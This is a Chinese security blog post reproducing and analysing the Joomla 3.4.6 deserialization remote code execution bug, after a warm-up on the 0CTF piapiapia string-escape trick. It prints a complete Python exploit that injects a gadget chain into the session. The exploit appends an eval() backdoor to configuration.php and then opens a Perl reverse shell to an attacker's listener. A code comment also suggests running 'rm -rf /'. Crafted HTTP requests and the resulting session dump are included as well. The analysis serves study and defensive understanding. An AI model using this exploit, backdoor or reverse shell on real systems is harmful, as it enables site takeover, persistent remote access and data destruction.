前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Joomla 3.4.6 RCE复现及分析

Joomla 3.4.6 RCE复现及分析

作者头像
Ms08067安全实验室
发布2020-06-06 16:52:14
3.3K0
发布2020-06-06 16:52:14
举报

作者:whojoe(MS08067安全实验室SRST TEAM成员)

前言

前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下joomla3.4.6rce的代码,今天来自己分析学习一下。

环境搭建

Joomla 3.4.6 : https://downloads.joomla.org/it/cms/joomla3/3-4-6

php :5.4.45nts(不支持php7)

影响版本: 3.0.0 --- 3.4.6

漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla

(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)

要求PHP Version >= 5.3.10

反序列化长度扩展分析

0CTF-2016-piapiapia中的利用代码

这里就直接从大佬那里把代码拿来了

index.php

代码语言:txt
复制
<?php  require_once('class.php');  if(isset($_SESSION['username'])) {    header('Location: profile.php');    exit;  }  if(isset($_POST["username"]) && isset($_POST["password"])) {    $username = $_POST['username'];    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)       die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16)       die('Invalid password');

    if($user->login($username, $password)) {      $_SESSION['username'] = $username;      header('Location: profile.php');      exit;      }    else {      die('Invalid user name or password');    }  }  else {echo '<!DOCTYPE html><html><head>   <title>Login</title>   <link href="static/bootstrap.min.css" rel="stylesheet">   <script src="static/jquery.min.js"></script>   <script src="static/bootstrap.min.js"></script></head><body>  <div class="container" style="margin-top:100px">      <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">       <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">      <h3>Login</h3>      <label>Username:</label>      <input type="text" name="username" style="height:30px"class="span3"/>      <label>Password:</label>      <input type="password" name="password" style="height:30px" class="span3">

      <button type="submit" class="btn btn-primary">LOGIN</button>    </form>  </div></body></html>';

  }?>

profile.php

代码语言:txt
复制
<?php  require_once('class.php');  if($_SESSION['username'] == null) {    die('Login First');    }  $username = $_SESSION['username'];  $profile=$user->show_profile($username);  if($profile  == null) {    header('Location: update.php');  }  else {    $profile = unserialize($profile);    $phone = $profile['phone'];    $email = $profile['email'];    $nickname = $profile['nickname'];    $photo = base64_encode(file_get_contents($profile['photo']));?><!DOCTYPE html><html><head>   <title>Profile</title>   <link href="static/bootstrap.min.css" rel="stylesheet">   <script src="static/jquery.min.js"></script>   <script src="static/bootstrap.min.js"></script></head><body>  <div class="container" style="margin-top:100px">      <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">    <h3>Hi <?php echo $nickname;?></h3>    <label>Phone: <?php echo $phone;?></label>    <label>Email: <?php echo $email;?></label>  </div></body></html><?php  }?>

register.php

代码语言:txt
复制
<?php  require_once('class.php');  if(isset($_POST['username']) && isset($_POST['password'])) {    $username = $_POST['username'];    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)       die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16)       die('Invalid password');    if(!$user->is_exists($username)) {      $user->register($username, $password);      echo 'Register OK!<a href="index.php">Please Login</a>';        }    else {      die('User name Already Exists');    }  }  else {?><!DOCTYPE html><html><head>   <title>Login</title>   <link href="static/bootstrap.min.css" rel="stylesheet">   <script src="static/jquery.min.js"></script>   <script src="static/bootstrap.min.js"></script></head><body>  <div class="container" style="margin-top:100px">      <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">       <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">      <h3>Register</h3>      <label>Username:</label>      <input type="text" name="username" style="height:30px"class="span3"/>      <label>Password:</label>      <input type="password" name="password" style="height:30px" class="span3">

      <button type="submit" class="btn btn-primary">REGISTER</button>    </form>  </div></body></html><?php  }?>

update.php

代码语言:txt
复制
<?php  require_once('class.php');  if($_SESSION['username'] == null) {    die('Login First');    }  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

    $username = $_SESSION['username'];    if(!preg_match('/^\d{11}$/', $_POST['phone']))      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))      die('Invalid email');        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)      die('Invalid nickname');

    $file = $_FILES['photo'];    if($file['size'] < 5 or $file['size'] > 1000000)      die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));    $profile['phone'] = $_POST['phone'];    $profile['email'] = $_POST['email'];    $profile['nickname'] = $_POST['nickname'];    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';  }  else {?><!DOCTYPE html><html><head>   <title>UPDATE</title>   <link href="static/bootstrap.min.css" rel="stylesheet">   <script src="static/jquery.min.js"></script>   <script src="static/bootstrap.min.js"></script></head><body>  <div class="container" style="margin-top:100px">      <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">       <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">      <h3>Please Update Your Profile</h3>      <label>Phone:</label>      <input type="text" name="phone" style="height:30px"class="span3"/>      <label>Email:</label>      <input type="text" name="email" style="height:30px"class="span3"/>      <label>Nickname:</label>      <input type="text" name="nickname" style="height:30px" class="span3">      <label for="file">Photo:</label>      <input type="file" name="photo" style="height:30px"class="span3"/>      <button type="submit" class="btn btn-primary">UPDATE</button>    </form>  </div></body></html><?php  }?>

class.php

代码语言:txt
复制
<?phprequire('config.php');

class user extends mysql{  private $table = 'users';

  public function is_exists($username) {    $username = parent::filter($username);

    $where = "username = '$username'";    return parent::select($this->table, $where);  }  public function register($username, $password) {    $username = parent::filter($username);    $password = parent::filter($password);

    $key_list = Array('username', 'password');    $value_list = Array($username, md5($password));    return parent::insert($this->table, $key_list, $value_list);  }  public function login($username, $password) {    $username = parent::filter($username);    $password = parent::filter($password);

    $where = "username = '$username'";    $object = parent::select($this->table, $where);    if ($object && $object->password === md5($password)) {      return true;    } else {      return false;    }  }  public function show_profile($username) {    $username = parent::filter($username);

    $where = "username = '$username'";    $object = parent::select($this->table, $where);    return $object->profile;  }  public function update_profile($username, $new_profile) {    $username = parent::filter($username);    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";    return parent::update($this->table, 'profile', $new_profile, $where);  }  public function __tostring() {    return __class__;  }}

class mysql {  private $link = null;

  public function connect($config) {    $this->link = mysql_connect(      $config['hostname'],      $config['username'],       $config['password']    );    mysql_select_db($config['database']);    mysql_query("SET sql_mode='strict_all_tables'");

    return $this->link;  }

  public function select($table, $where, $ret = '*') {    $sql = "SELECT $ret FROM $table WHERE $where";    $result = mysql_query($sql, $this->link);    return mysql_fetch_object($result);  }

  public function insert($table, $key_list, $value_list) {    $key = implode(',', $key_list);    $value = '\'' . implode('\',\'', $value_list) . '\'';     $sql = "INSERT INTO $table ($key) VALUES ($value)";    return mysql_query($sql);  }

  public function update($table, $key, $value, $where) {    $sql = "UPDATE $table SET $key = '$value' WHERE $where";    return mysql_query($sql);  }

  public function filter($string) {    $escape = array('\'', '\\\\');    $escape = '/' . implode('|', $escape) . '/';    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');    $safe = '/' . implode('|', $safe) . '/i';    return preg_replace($safe, 'hacker', $string);  }  public function __tostring() {    return __class__;  }}session_start();$user = new user();$user->connect($config);

config.php

代码语言:txt
复制
<?php  $config['hostname'] = '127.0.0.1';  $config['username'] = 'root';  $config['password'] = 'root';  $config['database'] = 'test';  $flag = '121312131';?>

分析

index.php是登录界面(没啥用)

profile.php是读取文件的(划重点)

register.php是注册的(没啥用)

update.php是更新信息(划重点)

class.php是核心代码(划重点)

config.php flag在里面

在profile.php中可以读取文件,并且上面有反序列化操作,在update.php文件上传没有做任何过滤,但是估计实际环境会限制代码执行,在class.php中有序列化操作,并且对字符串进行了替换,由于没有对传入的单引号进行过滤,所以是存在sql注入的,但是没什么用,数据库中的所有东西都是我们可控的,所以重点就在了序列化和反序列化还有字符串长度替换上,看下过滤代码

代码语言:txt
复制
  public function filter($string) {    $escape = array('\'', '\\\\');    $escape = '/' . implode('|', $escape) . '/';    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');    $safe = '/' . implode('|', $safe) . '/i';    return preg_replace($safe, 'hacker', $string);  }

可以看到长度唯一改变的就是where,那么我们上传一个文件看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

这里面的photo是我们想要控制的,那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取,但是nickname长度被限制

代码语言:javascript
复制
 if(!preg_match('/^\d{11}$/', $_POST['phone']))      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))      die('Invalid email');        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)      die('Invalid nickname');

    $file = $_FILES['photo'];    if($file['size'] < 5 or $file['size'] > 1000000)      die('Photo size error');

这里可以使用数组绕过,那么我们就传一下数组来看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

发现里面的结构发生了改变,所以我们就要考虑如何构造,因为后面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是没用的,所以这一部分就被丢弃了,为了保证还有photo字段,就要把字符串进行扩充,结合前面的正则替换,where变成hacker,增加了一个长度,所以我们的最终序列化之后的应该是这种格式的

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

其中的where";}s:5:"photo";s:10:"config.php";}是我们要发送过去的nickname

";}s:5:"photo";s:10:"config.php";}长度为34,那么我们就需要把这34位给挤出去,才能保证这个是可以反序列化的,为了把这34位挤出去,就需要34个where来填充,经过正则匹配后,就会变成34个hacker长度就增加了34位,即可满足我们的要求

即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发送数据包

代码语言:javascript
复制
POST /fff/update.php HTTP/1.1Host: 192.168.164.138Content-Length: 1405Cache-Control: max-age=0Origin: http://192.168.164.138Upgrade-Insecure-Requests: 1DNT: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKarUser-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.164.138/fff/update.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16Connection: close

------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="phone"

12345678901------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="email"

123123@qq.com------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="photo"; filename="QQ&#25130;&#22270;20200428221719.jpg"Content-Type: image/jpeg

11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

------WebKitFormBoundaryjxnZAvhPqkTxgKar--

查看数据库中结果

代码语言:javascript
复制
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

打开profile.php即可查看结果

经过base64解密

joomla中的利用

代码是从大佬那里哪来的,具体如下

代码语言:txt
复制
<?phpclass evil{    public $cmd;

    public function __construct($cmd){        $this->cmd = $cmd;    }

    public function __destruct(){        system($this->cmd);    }}

class User{    public $username;    public $password;

    public function __construct($username, $password){        $this->username = $username;        $this->password = $password;    }

}

function write($data){    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);    file_put_contents("dbs.txt", $data);}

function read(){    $data = file_get_contents("dbs.txt");    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);    return $r;}

if(file_exists("dbs.txt")){    unlink("dbs.txt");  }

$username = "peri0d";$password = "1234";write(serialize(new User($username, $password)));var_dump(unserialize(read()));

username和password我们是可控的

大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

代码语言:txt
复制
<?phpclass evil{    public $cmd;    public function __construct($cmd){        $this->cmd = $cmd;    }    public function __destruct(){        system($this->cmd);    }}

class User{    public $username;    public $password;    public $ts;    public function __construct($username, $password){        $this->username = $username;        $this->password = $password;    }}$username = "peri0d";$password = "1234";$r = new User($username, $password);$r->ts = new evil('whoami');echo serialize($r);//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

看以前前面的过滤,如果传入chr(0).'*'.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,我们刚才的payload需要进行修改才可以用,首先,正常经过序列化的只有两个参数,而我们构造的有三个,正好结合前面的长度缩短删除掉一个参数即可实现,所以最终的payload应该是这样的。

<?phpclass evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); }} class User{ public $username; public $password; public $ts; public function __construct($username, $password){ $this->username = $username; $this->password = $password; }}$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';unserialize($aa);

我们来对比一下序列化之后的字符串

O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

可以看出两个不同的就是

peri0d";s:8:"password";s:4:"1234

目的就是要把利用长度缩减把password字段给包括到username字段里,这一部分,他的长度是32要去掉

这里面我们的payload是

s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

长度为47

我们只能控制两个参数就是username和password,我们为了保证password字段被username吃掉而且还要保证payload能够被利用,payload就要放在password字段中传入,通过username字段进行缩减从而达到目标,有了思路,就开始构造。

代码语言:javascript
复制
$username = "peri0d";$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';echo serialize(new User($username, $password));//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

这里我们需要删除的是

代码语言:javascript
复制
";s:8:"password";s:55:"123455

他的长度是28

在正则中

str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

我们每次只能删除的长度是3,所以字符串长度应该是3的倍数,那么就把长度减一,变成27即可,需要9个\0\0\0

代码语言:javascript
复制
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';echo serialize(new User($username, $password));//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

执行一下

代码语言:txt
复制
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';write(serialize(new User($username, $password)));var_dump(unserialize(read()));

可以看到我们的payload已经执行了。

漏洞复现

下载poc之后安装需要的包,运行exp

菜刀按上面的网址和密码链接

查看configuration.php发现已经写入一句话

exp分析

代码语言:txt
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* #!/usr/bin/env python3 import requestsfrom bs4 import BeautifulSoupimport sysimport stringimport randomimport argparsefrom termcolor import colored PROXS = {'http':'127.0.0.1:8080'}#PROXS = {} def random_string(stringLength):        letters = string.ascii_lowercase        return ''.join(random.choice(letters) for i in range(stringLength))  backdoor_param = random_string(50) def print_info(str):        print(colored("[*] " + str,"cyan")) def print_ok(str):        print(colored("[+] "+ str,"green")) def print_error(str):        print(colored("[-] "+ str,"red")) def print_warning(str):        print(colored("[!!] " + str,"yellow")) def get_token(url, cook):        token = ''        resp = requests.get(url, cookies=cook, proxies = PROXS)        html = BeautifulSoup(resp.text,'html.parser')        # csrf token is the last input        for v in html.find_all('input'):                csrf = v        csrf = csrf.get('name')        return csrf  def get_error(url, cook):        resp = requests.get(url, cookies = cook, proxies = PROXS)        if 'Failed to decode session object' in resp.text:                #print(resp.text)                return False        #print(resp.text)        return True  def get_cook(url):        resp = requests.get(url, proxies=PROXS)        #print(resp.cookies)        return resp.cookies  def gen_pay(function, command):        # Generate the payload for call_user_func('FUNCTION','COMMAND')        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'        #payload =  command + ' || $a=\'http://wtf\';'        payload =  'http://l4m3rz.l337/;' + command        # Following payload will append an eval() at the enabled of the configuration file        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'        function_len = len(function)        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))        return final def make_req(url , object_payload):        # just make a req with object        print_info('Getting Session Cookie ..')        cook = get_cook(url)        print_info('Getting CSRF Token ..')        csrf = get_token( url, cook)         user_payload = '\\0\\0\\0' * 9        padding = 'AAA' # It will land at this padding        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects         inj_object = '";'        inj_object += object_payload        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part        password_payload = padding + inj_object        params = {            'username': user_payload,            'password': password_payload,            'option':'com_users',            'task':'user.login',            csrf :'1'            }         print_info('Sending request ..')        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)        return resp.text def get_backdoor_pay():        # This payload will backdoor the the configuration .PHP with an eval on POST request         function = 'assert'        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'        # payload =  command + ' || $a=\'http://wtf\';'        # Following payload will append an eval() at the enabled of the configuration file        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'        function_len = len(function)        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))        return final def check(url):        check_string = random_string(20)        target_url = url + 'index.php/component/users'        html = make_req(url, gen_pay('print_r',check_string))        if check_string in html:                return True        else:                return False def ping_backdoor(url,param_name):        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)        if 'PWNED' in res.text:                return True        return False def execute_backdoor(url, payload_code):        # Execute PHP code from the backdoor        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)        print(res.text) def exploit(url, lhost, lport):        # Exploit the target        # Default exploitation will append en eval function at the end of the configuration.pphp        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')        # e.g. get_payload('system','rm -rf /')         # First check that the backdoor has not been already implanted        target_url = url + 'index.php/component/users'         make_req(target_url, get_backdoor_pay())        if ping_backdoor(url, backdoor_param):                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)                print_info('Now it\'s time to reverse, trying with a system + perl')                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')  if __name__ == '__main__':        parser = argparse.ArgumentParser()        parser.add_argument('-t','--target',required=True,help='Joomla Target')        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')        args = vars(parser.parse_args())
*/

        url = args['target']        if(check(url)):                print_ok('Vulnerable')                if args['exploit']:                        exploit(url, args['lhost'], args['lport'])                else:                        print_info('Use --exploit to exploit it')         else:                print_error('Seems NOT Vulnerable ;/')

在第一行已经定义了代理

PROXS = {'http':'127.0.0.1:8080'}

获取cookie

代码语言:txt
复制
def get_cook(url):        resp = requests.get(url, proxies=PROXS)        #print(resp.cookies)        return resp.cookies

获取csrf token

代码语言:txt
复制
def get_token(url, cook):        token = ''        resp = requests.get(url, cookies=cook, proxies = PROXS)        html = BeautifulSoup(resp.text,'html.parser')        # csrf token is the last input        for v in html.find_all('input'):                csrf = v        csrf = csrf.get('name')        return csrf

验证漏洞存在,如果存在的话,执行exploit

从新获取cookie和token,写入一句话,检查一句话是否存在,之后通过一句话执行反弹shell操作

代码语言:javascript
复制
def execute_backdoor(url, payload_code):        # Execute PHP code from the backdoor        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)        print(res.text) def exploit(url, lhost, lport):        # Exploit the target        # Default exploitation will append en eval function at the end of the configuration.pphp        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')        # e.g. get_payload('system','rm -rf /')         # First check that the backdoor has not been already implanted        target_url = url + 'index.php/component/users'         make_req(target_url, get_backdoor_pay())        if ping_backdoor(url, backdoor_param):                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)                print_info('Now it\'s time to reverse, trying with a system + perl')                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')

这里跟踪一下写入一句话,漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下

代码语言:txt
复制
public function read($id){    // Get the database connection object and verify its connected.    $db = JFactory::getDbo();

    try    {      // Get the session data from the database table.      $query = $db->getQuery(true)        ->select($db->quoteName('data'))      ->from($db->quoteName('#__session'))      ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      $db->setQuery($query);

      $result = (string) $db->loadResult();

      $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

      return $result;    }    catch (Exception $e)    {      return false;    }  }

  /**   * Write session data to the SessionHandler backend.   *   * @param   string  $id    The session identifier.   * @param   string  $data  The session data.   *   * @return  boolean  True on success, false otherwise.   *   * @since   11.1   */  public function write($id, $data){    // Get the database connection object and verify its connected.    $db = JFactory::getDbo();

    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

    try    {      $query = $db->getQuery(true)        ->update($db->quoteName('#__session'))        ->set($db->quoteName('data') . ' = ' . $db->quote($data))        ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))        ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.      $db->setQuery($query);

      if (!$db->execute())      {        return false;      }      /* Since $db->execute did not throw an exception, so the query was successful.      Either the data changed, or the data was identical.      In either case we are done.      */      return true;    }    catch (Exception $e)    {      return false;    }  }

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,有了之前的分析,这里就会好理解许多,可以参考我的另一篇文章PHP 反序列化字符逃逸学习(https://blog.csdn.net/qq_43645782/article/details/105801796)

数据库中的数据

代码语言:txt
复制
__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account 